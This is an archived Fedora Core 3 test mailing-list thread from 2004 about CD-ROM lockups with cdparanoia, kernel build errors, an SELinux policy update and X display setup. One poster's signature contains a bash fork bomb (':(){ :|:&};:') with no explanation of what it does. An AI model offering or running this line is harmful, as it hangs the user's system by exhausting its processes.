<1100112479.3955.62.camel@marius.asheville.interact> References: <1100112479.3955.62.camel@marius.asheville.interact> Message-ID: <1100291496.10263.26.camel@wx1.larc.nasa.gov> On Wed, 2004-11-10 at 12:47 -0600, Mark Haney wrote: > I know it's probably a bit early, but does anyone have a comprehensive > set of features/ideas for FC4? No, but since people are throwing out ideas... How about adding yum metadata (createrepo, and perhaps yum-arch - for FC2 updates) to the DVD iso? The image (or for that matter the physical media) could then be mounted as a local yum [os] repo, accessed as a file:/ URL. Would save user's disk space and everybody's network bandwidth. http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=139077 Phil From pjones at redhat.com Fri Nov 12 19:21:56 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 12 Nov 2004 14:21:56 -0500 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100236148.12760.25.camel@ml350.bankofamerica.com> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> <1100236148.12760.25.camel@ml350.bankofamerica.com> Message-ID: <1100287316.5028.3.camel@localhost.localdomain> On Thu, 2004-11-11 at 23:09 -0600, Thomas Cameron wrote: > > Do you want me to log this in bugzilla ? Under > > what ? kernel ? grip ? cdrom ? scsi-ide ? > > You think filing a bug because your CDROM drive is broken will help? It very well might. I've yet to see a CD drive that isn't broken in some way. -- Peter Growth for the sake of growth is the ideology of the cancer cell. From pjones at redhat.com Fri Nov 12 19:21:25 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 12 Nov 2004 14:21:25 -0500 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100270892.7362.5.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> <1100236148.12760.25.camel@ml350.bankofamerica.com> <1100270892.7362.5.camel@localhost.localdomain> Message-ID: <1100287285.5028.1.camel@localhost.localdomain> On Fri, 2004-11-12 at 07:48 -0700, Kim Lux wrote: > My CDROM isn't broken. It worked perfect under FCs and it still works > perfect under Windows. There is a bug in FC3 final. There is nothing > wrong with my cdrom drive. That is yet to be determined. Could you answer the questions I asked? -- Peter Growth for the sake of growth is the ideology of the cancer cell. From ron.flory at adtran.com Fri Nov 12 20:44:09 2004 From: ron.flory at adtran.com (RON FLORY) Date: Fri, 12 Nov 2004 14:44:09 -0600 Subject: Fefora Project Release Notes still reference FC2, not FC3 In-Reply-To: <41951BB2.3020805@adtran.com> References: <200411121920.iACJKMPU003808@drdoom.wv.mentorg.com> <1100284939.3328.14.camel@dougs-laptop> <1100288736.1061.0.camel@guyleidadell> <41951BB2.3020805@adtran.com> Message-ID: <41952099.90408@adtran.com> Hi- These should probably be updated to FC3... http://fedora.redhat.com/docs/release-notes/ ron From dwalsh at redhat.com Fri Nov 12 21:04:40 2004 From: dwalsh at redhat.com (Daniel J Walsh) Date: Fri, 12 Nov 2004 16:04:40 -0500 Subject: Updated policy ready for testing Message-ID: <41952568.3070009@redhat.com> An updated policy selinux-policy-targeted-2.26 is being released for testing. This release the following problems: - Add mta.te so that squirrelmail will work. - Fix ntpd to allow reading of mtab file - Fix communications with mysqld - Add new allow rules for httpd_t to write sys_content. - Cleanup some of the te files for easier merging - add mysqld.te - Allow apache to read bin_t link files - Add a couple of tunables to turn on NFS support and hide_broken_symptoms Please test with squirelmail and mysql and NFS served pages. May require a relabel to work properly. You can touch /.autorelabel and reboot to get properly labeled (This will remove any customized labels). Final will push by 11/19 Dan From lux at diesel-research.com Fri Nov 12 23:16:50 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 12 Nov 2004 16:16:50 -0700 Subject: What is the status of ide-scsi these days ? (Can't shutdown) In-Reply-To: <1100295058.9609.39.camel@localhost.localdomain> References: <1100194957.4069.18.camel@localhost.localdomain> <20041111174948.GA31302@devserv.devel.redhat.com> <1100195690.3705.2.camel@localhost.localdomain> <1100236148.12760.25.camel@ml350.bankofamerica.com> <1100270892.7362.5.camel@localhost.localdomain> <1100287285.5028.1.camel@localhost.localdomain> <1100295058.9609.39.camel@localhost.localdomain> Message-ID: <1100301410.9609.44.camel@localhost.localdomain> Here is your info, Peter. I shortened it because it got rejected by the server the first time. On Fri, 2004-11-12 at 14:30 -0700, Kim Lux wrote: > On Fri, 2004-11-12 at 14:21 -0500, Peter Jones wrote: > > On Fri, 2004-11-12 at 07:48 -0700, Kim Lux wrote: > > > My CDROM isn't broken. It worked perfect under FCs and it still works > > > perfect under Windows. There is a bug in FC3 final. There is nothing > > > wrong with my cdrom drive. > > > > That is yet to be determined. Could you answer the questions I asked? > > -- > > Peter > > > >Well, it'd be cdparanoia and/or kernel. What kind of drive did you say > >this was? > > It is the 4x DVD+rw CDRW that comes with an HPzd7000 laptop. > > >From syslogs: > > Nov 11 19:50:12 localhost kernel: hda: hda1 hda2 hda3 hda4 < hda5 > > Nov 11 19:50:12 localhost kernel: hdc: ATAPI 24X DVD-ROM CD-R/RW drive, > 2048kB Cache, DMA > Nov 11 19:50:12 localhost kernel: Uniform CD-ROM driver Revision: 3.20 > > > >From kernel logs: > ide0: BM-DMA at 0x2040-0x2047, BIOS settings: hda:DMA, hdb:pio > ide1: BM-DMA at 0x2048-0x204f, BIOS settings: hdc:DMA, hdd:pio > Probing IDE interface ide0... > hda: HTS548080M9AT00, ATA DISK drive > Using cfq io scheduler > ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 > Probing IDE interface ide1... > hdc: HL-DT-ST DVD+RW GCA-4040N, ATAPI CD/DVD-ROM drive > ide1 at 0x170-0x177,0x376 on irq 15 > Probing IDE interface ide2... > ide2: Wait for ready failed before probe ! > Probing IDE interface ide3... > ide3: Wait for ready failed before probe ! > Probing IDE interface ide4... > ide4: Wait for ready failed before probe ! > Probing IDE interface ide5... > ide5: Wait for ready failed before probe ! > hda: max request size: 1024KiB > hda: 156301488 sectors (80026 MB) w/7877KiB Cache, CHS=16383/255/63, > UDMA(100) > hda: cache flushes supported > hda: hda1 hda2 hda3 hda4 < hda5 > > hdc: ATAPI 24X DVD-ROM CD-R/RW drive, 2048kB Cache, DMA > Uniform CD-ROM driver Revision: 3.20 > > > And which kernel and cdparanoia versions? > > $ uname -a > Linux localhost.localdomain 2.6.9-1.667 #1 Tue Nov 2 14:41:25 EST 2004 > i686 i686 i386 GNU/Linux > > $ rpm -q cdparanoia > cdparanoia-alpha9.8-24 > > > Just to be sure I'm correct above, open a shell and do this: > > mkdir scratch > > cd scratch > > cdparanoia -B > > That should rip the CD. If it's something in either the grip code to > > get the table of contents and discid info, or something along those > > lines, it could be grip's fault. If it happens with this, that's not > > the necessarily the case. > > > First of all, I had to reboot to get the CDROM to open. After reboot, I > proceeded as follows. Note that I am NOT using ide-scsi. > > > $ cdparanoia -vB 9- > cdparanoia III release 9.8 (March 23, 2001) > (C) 2001 Monty and Xiphophorus > > Report bugs to paranoia at xiph.org > http://www.xiph.org/paranoia/ > > Checking /dev/cdrom for cdrom... > DMA scatter/gather table entries: 1 > table entry size: 131072 bytes > maximum theoretical transfer: 55 sectors > Setting default read size to 24 sectors (56448 bytes). > > > CDROM model sensed sensed: HL-DT-ST DVD+RW GCA-4040N 1.17 > > > Checking for SCSI emulation... > Drive is ATAPI (using SCSI host adaptor emulation) > > Checking for MMC style command set... > Drive is MMC style > Verifying CDDA command set... > Expected command set reads OK. > > Table of contents (audio tracks only): > track length begin copy pre ch > =========================================================== > 1. 14715 [03:16.15] 0 [00:00.00] no no 2 > 2. 18225 [04:03.00] 14715 [03:16.15] no no 2 > 3. 11472 [02:32.72] 32940 [07:19.15] no no 2 > 4. 24265 [05:23.40] 44412 [09:52.12] no no 2 > 5. 11640 [02:35.15] 68677 [15:15.52] no no 2 > 6. 15755 [03:30.05] 80317 [17:50.67] no no 2 > 7. 15493 [03:26.43] 96072 [21:20.72] no no 2 > 8. 14462 [03:12.62] 111565 [24:47.40] no no 2 > 9. 11663 [02:35.38] 126027 [28:00.27] no no 2 > 10. 14002 [03:06.52] 137690 [30:35.65] no no 2 > 11. 13533 [03:00.33] 151692 [33:42.42] no no 2 > 12. 11040 [02:27.15] 165225 [36:43.00] no no 2 > TOTAL 176265 [39:10.15] (audio only) > > Ripping from sector 126027 (track 9 [0:00.00]) > to sector 176264 (track 12 [2:27.14]) > > outputting to track09.cdda.wav > > (== PROGRESS == [ > O| 130538 00 ] == :-P O > ==) > > I killed it with a ctrl C here because my computer was hanging. > > Meanwhile, in the sys log, I am getting the following: > > Nov 12 14:05:18 localhost kernel: hdc: DMA timeout retry > Nov 12 14:05:18 localhost kernel: hdc: timeout waiting for DMA > Nov 12 14:05:23 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } > Nov 12 14:05:23 localhost kernel: hdc: irq timeout: > error=0xd0LastFailedSense 0x0d > Nov 12 14:05:23 localhost kernel: hdc: ATAPI reset complete > Nov 12 14:05:31 localhost kernel: hdc: DMA timeout retry > Nov 12 14:05:31 localhost kernel: hdc: timeout waiting for DMA > Nov 12 14:05:36 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } > Nov 12 14:05:36 localhost kernel: hdc: irq timeout: > error=0xd0LastFailedSense 0x0d > Nov 12 14:05:36 localhost kernel: hdc: ATAPI reset complete > Nov 12 14:05:43 localhost kernel: hdc: DMA timeout retry > Nov 12 14:05:43 localhost kernel: hdc: timeout waiting for DMA > Nov 12 14:05:48 localhost kernel: hdc: irq timeout: status=0xd0 { Busy } > Nov 12 14:05:48 localhost kernel: hdc: irq timeout: > error=0xd0LastFailedSense 0x0d > I was, however, able to eject: > > eject -v /dev/hdc > eject: device name is `/dev/hdc' > eject: expanded name is `/dev/hdc' > eject: `/dev/hdc' is not mounted > eject: `/dev/hdc' is not a mount point > eject: `/dev/hdc' is a multipartition device > eject: trying to eject `/dev/hdc' using CD-ROM eject command > eject: CD-ROM eject command succeeded > > If I re insert the CDROM and right double click the CDROM icon on the > desktop, I get the following in and error message window: > > Error - kio_devices_mounthelper. > > /dev/hdc: Input/output error > mount: /dev/hdc already mounted or /media/cdrecorder busy > Please check that the disk is entered correctly. > > Eject still works properly after that. > > > Here is what syslog says: > > > Nov 12 14:22:37 localhost kernel: hdc: command error: status=0x51 > { DriveReady SeekComplete Error } > Nov 12 14:22:37 localhost kernel: hdc: command error: error=0x50 > Nov 12 14:22:37 localhost kernel: ide: failed opcode was 100 > Nov 12 14:22:37 localhost kernel: end_request: I/O error, dev hdc, > sector 0 > Nov 12 14:22:37 localhost kernel: Buffer I/O error on device hdc, > logical block 0 > Nov 12 14:22:37 localhost kernel: hdc: command error: status=0x51 > { DriveReady SeekComplete Error } > Nov 12 14:22:37 localhost kernel: hdc: command error: error=0x50 > Nov 12 14:22:37 localhost kernel: ide: failed opcode was 100 > Nov 12 14:22:37 localhost kernel: end_request: I/O error, dev hdc, > sector 4 > sector 68 > Nov 12 14:24:22 localhost kernel: Buffer I/O error on device hdc, > logical block 17 > Nov 12 14:24:22 localhost kernel: hdc: command error: status=0x51 > { DriveReady SeekComplete Error } > Nov 12 14:24:22 localhost kernel: hdc: command error: error=0x50 > Nov 12 14:24:22 localhost kernel: ide: failed opcode was 100 > Nov 12 14:24:22 localhost kernel: end_request: I/O error, dev hdc, > sector 0 > > > top - 14:29:28 up 18:40, 4 users, load average: 0.03, 0.10, 0.18 > Tasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie > Cpu(s): 2.0% us, 0.3% sy, 0.0% ni, 97.3% id, 0.3% wa, 0.0% hi, > 0.0% si > Mem: 1034664k total, 1019128k used, 15536k free, 215208k buffers > Swap: 1020116k total, 0k used, 1020116k free, 437024k cached > > PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND > 3326 root 15 0 184m 35m 150m S 1.7 3.6 25:17.98 X > 9894 krlux 15 0 31152 15m 26m S 0.3 1.5 0:00.44 kdeinit > 9914 krlux 17 0 3128 960 1664 R 0.3 0.1 0:00.03 top > 1 root 16 0 3572 564 1408 S 0.0 0.1 0:00.71 init > 2 root 34 19 0 0 0 S 0.0 0.0 0:00.04 ksoftirqd/0 > 3 root 5 -10 0 0 0 S 0.0 0.0 0:20.43 events/0 > 4 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 khelper > 5 root 5 -10 0 0 0 S 0.0 0.0 0:02.21 kacpid > 27 root 5 -10 0 0 0 S 0.0 0.0 0:00.00 kblockd/0 > 37 root 20 0 0 0 0 S 0.0 0.0 0:00.00 pdflush > 38 root 15 0 0 0 0 S 0.0 0.0 0:00.15 pdflush > 40 root 14 -10 0 0 0 S 0.0 0.0 0:00.00 aio/0 > 28 root 15 0 0 0 0 S 0.0 0.0 0:00.17 khubd > 39 root 15 0 0 0 0 S 0.0 0.0 0:00.49 kswapd0 > 113 root 25 0 0 0 0 S 0.0 0.0 0:00.00 kseriod > 190 root 15 0 0 0 0 S 0.0 0.0 0:00.60 kjournald > 1063 root 6 -10 3196 512 1340 S 0.0 0.0 0:00.10 udevd > > ps -aux > > krlux 7334 0.0 0.7 65352 7880 ? Sl 07:41 > 0:01 /usr/libexec/evol > krlux 7336 0.0 0.4 8720 4408 ? S 07:41 > 0:00 /usr/libexec/gcon > krlux 7341 0.0 0.2 7632 2648 ? Ss 07:41 > 0:00 /usr/libexec/bono > krlux 7342 0.0 1.4 29632 14964 ? S 07:41 0:00 kdeinit: > kmix -se > krlux 7344 0.0 0.7 28820 7548 ? S 07:41 0:00 kalarmd > --login > krlux 7347 0.0 0.5 78752 5412 ? Sl 07:41 > 0:00 /usr/libexec/evol > krlux 7841 0.0 1.4 29888 14788 ? S 08:22 0:00 kdeinit: > kio_uise > krlux 9507 0.1 2.8 43956 29256 ? S 12:42 0:07 kdeinit: > konquero > krlux 9609 0.4 4.6 150408 48624 ? Sl 13:03 0:23 evolution > krlux 9678 0.0 2.9 46044 30576 ? S 13:17 0:02 kdeinit: > konquero > krlux 9680 0.0 1.0 27736 10704 ? S 13:17 0:00 kdeinit: > kio_file > root 9742 0.0 0.2 6856 2088 ? S 13:53 > 0:00 /usr/libexec/gcon > krlux 9771 0.0 1.5 31552 16104 ? S 13:59 0:00 kdeinit: > konsole > krlux 9772 0.0 0.1 4952 1448 pts/2 Ss+ 13:59 0:00 /bin/bash > krlux 9826 0.0 0.6 14484 7052 ? S 14:05 > 0:00 /usr/bin/system-l > root 9827 0.0 0.1 6024 1304 ? S 14:05 > 0:00 /usr/sbin/userhel > root 9830 3.4 5.7 65888 59648 ? S 14:05 0:50 > python /usr/share > krlux 9843 0.1 2.1 38604 22296 ? S 14:22 0:00 kdeinit: > konquero > krlux 9889 0.0 0.6 14932 7040 ? S 14:24 > 0:00 /usr/bin/system-l > root 9890 0.0 0.1 5272 1308 ? S 14:24 > 0:00 /usr/sbin/userhel > root 9893 3.5 2.2 28356 23028 ? S 14:25 0:11 > python /usr/share > krlux 9894 0.8 1.5 31152 15640 ? S 14:29 0:00 kdeinit: > konsole > krlux 9895 0.0 0.1 4716 1448 pts/3 Ss 14:29 0:00 /bin/bash > krlux 9915 0.0 0.0 4304 780 pts/3 R+ 14:30 0:00 ps -aux > > > Let me know if you want more. > > -- -- Kim Lux (Mr.) Diesel Research Inc From pjones at redhat.com Fri Nov 12 23:51:17 2004 From: pjones at redhat.com (Peter Jones) Date: Fri, 12 Nov 2004 18:51:17 -0500 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100235860.12760.22.camel@ml350.bankofamerica.com> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <1100235860.12760.22.camel@ml350.bankofamerica.com> Message-ID: <1100303477.29113.27.camel@localhost.localdomain> On Thu, 2004-11-11 at 23:04 -0600, Thomas Cameron wrote: > On Thu, 2004-11-11 at 11:53 -0700, Kim Lux wrote: > > In my mind there is a big difference between perfection and having a > > CDROM that doesn't work. > > Kim - > > I'm sorry but I have not seen others with your CDROM issue with any > frequency on this or on the fedora users list. I've installed FC3 (from > early testing to various RCs to release) on a bunch of machines and on > every one of them the CD works as you'd expect. The plural of anecdote is not data; that your machines work with all of the cd driver code does not mean the code will work with his machine, be it broken or not. Let's see about finding what triggers the problems, rather than having a flamefest about how inconsiderate it is to hope for working software? > It sounds to me like *you've* got some sort of gremlin - hardware > incompatibility, broken drive or somesuch silliness. This is not the > developers' or the distro's fault. It's not your fault. It's a case > of "sh*t happens, now move on." I don't know that, and I've written a noticable chunk of the driver code he's actually running. How sure are you that it's not the developers' fault? Put another way, just because he's seeing a hardware error, that doesn't mean it's one that *should* be hit. The code can still be wrong, and I find it likely (since he's not seeing errors in Windows) that his problem is avoidable. > Did you read the first paragraph at http://fedora.redhat.com? > > "The Fedora Project is a Red-Hat-sponsored and community-supported open > source project. It is also a proving ground for new technology that may > eventually make its way into Red Hat products. It is not a supported > product" Did you read it? It doesn't say "don't mention any problems just because they're pretty complicated and your hardware is questionable", as far as I can tell. > Pay special attention to the last sentence. Fedora is basically Red > Hat's public beta of technologies which may (or may not) get into RHEL. > Red Hat and the Fedora team promise best effort, but make no guarantees > about this software. ... "best effort" is not telling him to go away without resolving why he sees a problem that doesn't happen in older versions or with other OSes. > You're coming across as saying you want all the newest stuff (latest > KDE) and you want it to run flawlessly. Guess what? It ain't gonna > happen. If you're hanging out here on the bleeding edge it's going to > be rough. He's got "cdparanoia -B" stalling the machine, and a syslog full of errors. He's using a kernel and a cdparanoia that we shipped, and this is a *released* distro. As much as I'd love to have seen this in the betas (or before), I really can't fault him here, especially since I'd really like to find out what's going wrong. As somebody who's worked on both the kernel and cdparanoia code involved: please, quit badgering my tester. > You're busting the team's chops over what appear to me to be a problem > that doesn't seem to be common. Move on, man. It may still be valid, and as it may well be a problem with code I maintain, I'd just as soon get the info from him that's necessary to find out (and possibly even debug it) instead of running him off because it's a corner case. After all, cdparanoia's code to detect which command set to use isn't all that great to begin with, so there's a relatively good chance that it's doing something stupid. -- Peter From anvil at livna.org Fri Nov 12 23:54:36 2004 From: anvil at livna.org (Dams) Date: Sat, 13 Nov 2004 00:54:36 +0100 Subject: Why won't CDROM eject ? In-Reply-To: <1100205229.3896.4.camel@localhost.localdomain> References: <1100205229.3896.4.camel@localhost.localdomain> Message-ID: <1100303676.3380.39.camel@gruyere> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137349 Dont use ide-scsi anyway. It's no good for you. D Le jeudi 11 novembre 2004 ? 13:33 -0700, Kim Lux a ?crit : > I am running kernel 2.6.9-1.667 non smp. I am using hdc=ide-scsi when > booting. -- Dams Nad? Anvil/Anvilou on irc.freenode.net : #Linux-Fr, #Fedora "Dona Nobis Pacem E Dona Eis Requiem". Noir. -------------- next part -------------- A non-text attachment was scrubbed... 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Thanks, Bob -- Bob Gill From balay at fastmail.fm Sat Nov 13 01:07:57 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 12 Nov 2004 19:07:57 -0600 (CST) Subject: vanilla kernel build In-Reply-To: <1100305894.5961.2.camel@localhost.localdomain> References: <1100305894.5961.2.camel@localhost.localdomain> Message-ID: On Fri, 12 Nov 2004, Bob Gill wrote: > Hi. I would like to build a vanilla kernel for Fedora Core 3. I built > (a lot) of vanilla kernels for Fedora Core 2, but when I try to build > them for '3 I usually wind up getting boot problems (like "hda interrupt > lost" or "cannot start first console"). What are the extra patches that > need to be applied to a stock (kernel.org) kernel to be workable under > fedora core 3? Have you checked todays post on this topic? http://www.redhat.com/archives/fedora-test-list/2004-November/msg01213.html Satish From lux at diesel-research.com Sat Nov 13 01:32:19 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 12 Nov 2004 18:32:19 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100303477.29113.27.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <1100235860.12760.22.camel@ml350.bankofamerica.com> <1100303477.29113.27.camel@localhost.localdomain> Message-ID: <1100309539.10341.4.camel@localhost.localdomain> Peter: I give you the highest regard for your stance. You and I think alike. Let me know what you want me to do and test and I'll help as much as I can. For what it is worth, I've had issues with RH and cdparanoia before. If you look in the cdparanoia archives, I reported similar problems (on a different machine with a different CDROM) in RH8 2 years ago. Would it help for me to build a debug version of cdparanoia ? Do you have a debug version of the kernel you'd like me to run ? -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 01:38:14 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 12 Nov 2004 18:38:14 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100309539.10341.4.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <1100235860.12760.22.camel@ml350.bankofamerica.com> <1100303477.29113.27.camel@localhost.localdomain> <1100309539.10341.4.camel@localhost.localdomain> Message-ID: <1100309894.10341.9.camel@localhost.localdomain> https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=81331 Note the comment by one Peter Jones: This appears to be a hardware error. On Fri, 2004-11-12 at 18:32 -0700, Kim Lux wrote: > Peter: I give you the highest regard for your stance. You and I think > alike. Let me know what you want me to do and test and I'll help as > much as I can. > > For what it is worth, I've had issues with RH and cdparanoia before. If > you look in the cdparanoia archives, I reported similar problems (on a > different machine with a different CDROM) in RH8 2 years ago. > > Would it help for me to build a debug version of cdparanoia ? Do you > have a debug version of the kernel you'd like me to run ? > > -- > Kim Lux (Mr.) Diesel Research Inc > -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Sat Nov 13 02:07:39 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 12 Nov 2004 19:07:39 -0700 Subject: FC3 disappointment: KsCD locks system; grip; CDROM in general. In-Reply-To: <1100303477.29113.27.camel@localhost.localdomain> References: <1100187712.4454.26.camel@localhost.localdomain> <20041111184518.GA30794@jadzia.bu.edu> <1100199207.3866.0.camel@localhost.localdomain> <1100235860.12760.22.camel@ml350.bankofamerica.com> <1100303477.29113.27.camel@localhost.localdomain> Message-ID: <1100311659.10595.3.camel@localhost.localdomain> On Fri, 2004-11-12 at 18:51 -0500, Peter Jones wrote: > On Thu, 2004-11-11 at 23:04 -0600, Thomas Cameron wrote: > > On Thu, 2004-11-11 at 11:53 -0700, Kim Lux wrote: > > > In my mind there is a big difference between perfection and having a > > > CDROM that doesn't work. > > > > Kim - > > > > I'm sorry but I have not seen others with your CDROM issue with any > > frequency on this or on the fedora users list. I've installed FC3 (from > > early testing to various RCs to release) on a bunch of machines and on > > every one of them the CD works as you'd expect. Thomas: are your people ripping CDs with those computers ? I've used CDParanoia for 2 years and have experienced various crashes with it/cdroms, especially when ripping scratched CDs. I'm thinking that such activity triggers a problem with the communication between the kernel and the CD drive. Peter: this might be a good place for you to start troubleshooting on your computer. Find a scratched audio CD and start ripping. I'm pretty certain you'll be able to replicate my problem. -- Kim Lux (Mr.) Diesel Research Inc From vR at movingparts.net Sat Nov 13 03:09:27 2004 From: vR at movingparts.net (Jason 'vanRijn' Kasper) Date: Fri, 12 Nov 2004 22:09:27 -0500 Subject: cannot compile vanilla 2.6.9 kernel in fc3?? Message-ID: <1100315367.24734.10.camel@localhost> I downloaded the latest kernel from kernel.org, and have a completely up2date (pun intended) fc3 install. I have copied /boot/config-2.6.9-1.667 to .config, ran "make menuconfig", made no changes, but exited and answered "yes" to the "save changes?" prompt, and then ran "make bzImage". I get this and can go no further: CC [M] drivers/scsi/qla2xxx/ql2300.o CC [M] drivers/scsi/qla2xxx/ql2300_fw.o CC [M] drivers/scsi/qla2xxx/ql2322.o CC [M] drivers/scsi/qla2xxx/ql2322_fw.o CC [M] drivers/scsi/qla2xxx/qla_os.o drivers/scsi/qla2xxx/qla_os.c: In function `qla2x00_queuecommand': drivers/scsi/qla2xxx/qla_os.c:315: sorry, unimplemented: inlining failed in call to 'qla2x00_callback': function not considered for inlining drivers/scsi/qla2xxx/qla_os.c:269: sorry, unimplemented: called from here drivers/scsi/qla2xxx/qla_os.c:315: sorry, unimplemented: inlining failed in call to 'qla2x00_callback': function not considered for inlining drivers/scsi/qla2xxx/qla_os.c:269: sorry, unimplemented: called from here make[3]: *** [drivers/scsi/qla2xxx/qla_os.o] Error 1 make[2]: *** [drivers/scsi/qla2xxx] Error 2 make[1]: *** [drivers/scsi] Error 2 make: *** [drivers] Error 2 gcc -v tells me: gcc version 3.4.2 20041017 (Red Hat 3.4.2-6.fc3) Is anyone else seeing this? And what can I do to compile a kernel in these parts? TIA. -- ,-----------------------------------------------------------------// | Jason 'vanRijn' Kasper :: Numbers 6:22-26 ` | All brontosauruses are thin at one end, much MUCH thicker | in the middle, and then thin again at the far end. That is | the theory that I have and which is mine, and what it is too. , | bash$ :(){ :|:&};: `----------------------// From davej at redhat.com Sat Nov 13 03:20:13 2004 From: davej at redhat.com (Dave Jones) Date: Fri, 12 Nov 2004 22:20:13 -0500 Subject: cannot compile vanilla 2.6.9 kernel in fc3?? In-Reply-To: <1100315367.24734.10.camel@localhost> References: <1100315367.24734.10.camel@localhost> Message-ID: <20041113032013.GA8881@redhat.com> On Fri, Nov 12, 2004 at 10:09:27PM -0500, Jason 'vanRijn' Kasper wrote: > I downloaded the latest kernel from kernel.org, and have a completely > up2date (pun intended) fc3 install. I have > copied /boot/config-2.6.9-1.667 to .config, ran "make menuconfig", made > no changes, but exited and answered "yes" to the "save changes?" prompt, > and then ran "make bzImage". I get this and can go no further: > > CC [M] drivers/scsi/qla2xxx/ql2300.o > CC [M] drivers/scsi/qla2xxx/ql2300_fw.o > CC [M] drivers/scsi/qla2xxx/ql2322.o > CC [M] drivers/scsi/qla2xxx/ql2322_fw.o > CC [M] drivers/scsi/qla2xxx/qla_os.o > drivers/scsi/qla2xxx/qla_os.c: In function `qla2x00_queuecommand': > drivers/scsi/qla2xxx/qla_os.c:315: sorry, unimplemented: inlining failed > in call to 'qla2x00_callback': function not considered for inlining > drivers/scsi/qla2xxx/qla_os.c:269: sorry, unimplemented: called from > here not a fedora problem. this was fixed in 2.6.10rc1 Dave From fct-cornette at insight.rr.com Sat Nov 13 03:57:59 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Fri, 12 Nov 2004 22:57:59 -0500 Subject: FC3 - wrong screen resolution - A bug? In-Reply-To: <41950842.2090408@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> <41950842.2090408@broadpark.no> Message-ID: <41958647.4070602@insight.rr.com> NOTE: Problem is more dfficult than I have experienced myself. Others might have s3virge graphics card experience. Read on with this pre-warning. Truls Gulbrandsen wrote: > | | | > | | | Jim > | | | > | | | Monitor and Graphics > | | | Video Integration Integrated > | | | Installed Video Memory 4 MB > | | | Included Video Card Graphic card - AGP - S3 Trio3D integrated > | | | > | | | > | | |> > | | |> Regards, > | | |> Truls > | | | > | | | > | | Thanks for feedback. > | | > | | Yes the correct video card is Trio 64 3D and it is listed. So I went > | | system settings ==> display and set the correct video card. > | | > | | Then I got an error message saying that the system would log out of X > | | and correct an error. It never came back. So I rebooted but now the > | | boot sequence goes to: > | | > | | Starting udev: (ok) > | | Initializing hardware..... storage network audio done (ok) > | | Configuring kernel parameters: > | | > | | and there it hangs unresponsive. > | | > | | Probably I have to start the install process over again? > | | > | | Regards, > | | Truls > | > | I found that when hittin ctrl-C after the system hangs it actually > | continues to boot and gives me a command line. > | > | The problem is that system settings - display did not update my > | xorg.conf file correctly. The driver name for the video card was not > | replaced with the corect one but ended up as mix of "Vesa" and "S3Trio3D" > | > | I tried to correct this using vi but am not able to open the file in > | edit modus. I'm told it is a read only file. > | > | Any suggestions? > | > | Truls > Ok, I have followed all advices given under this thread without success. I wish it was easier to get you up and running than it is. Anyway, I would like for you to get up and running w/ a higher resolution than you get now. > > So, I did a fresh install of FC3 from the cds and the following happens. > > Upon installation fc doesn't recognize my video card and set it up as > VESA generic. That works in the way that my screen background seem to > have the correct resolution but applications and icons etc. seems work > at 640x480. Reading briefly through 'info s3virge' (there are man and info pages for the X drivers. Your card type was listed. There was a mention of the chipsets supported in this file. There also was a mention that you can add "trio 3d" in the device section of your xorg.conf file in order to evade auto-detection. the explanation is below from an excerpt from the info page for the s3virge driver. I don't understand it exactly, but reading the man page and info page yourself might cue you in regarding the options. EXCERPT (info for S3Virge) CONFIGURATION DETAILS Please refer to xorg.conf(5x) for general configuration details. This section only covers configuration details specific to this driver. All options names are case and white space insensitive when parsed by the server, for example, "virge vx" and "VIRGEvx" are equivalent. The driver auto-detects the chipset type, but the following ChipSet names may optionally be specified in the config file ""Device"" sec- tion, and will override the auto-detection: "virge", "86c325", "virge vx", "86c988", "virge dx", "86c375", "virge gx", "86c385", "virge gx2", "86c357", "virge mx", "86c260", "virge mx+", "86c280", "trio 3d", "86c365", "trio 3d/2x", "86c362", "86c368". > > Then, when I change to video card S3 Trio64 3D and reboot I'm back to > the original problem. The systems load all the way to: What happens with replacing "vesa" with "s3virge" ? Does it autodetect your card correctly? > > Starting udev: (ok) > Initializing hardware..... storage network audio done (ok) > Configuring kernel parameters: > > ~ > > INIT: Entering runlevel: 5 Try booting into runlevel 3 by editing your boot loader and removing the rhgb quiet parameters and adding the number 3 after a space. Log into a terminal with your normal user account, then typing startx to start X in the normal way. Then after X launches or tries to launch, check /var/log/Xorg.0.log for any errors. > Starting readahead early: (ok) > Checking for new hardware: (ok) > touch: cannot touch 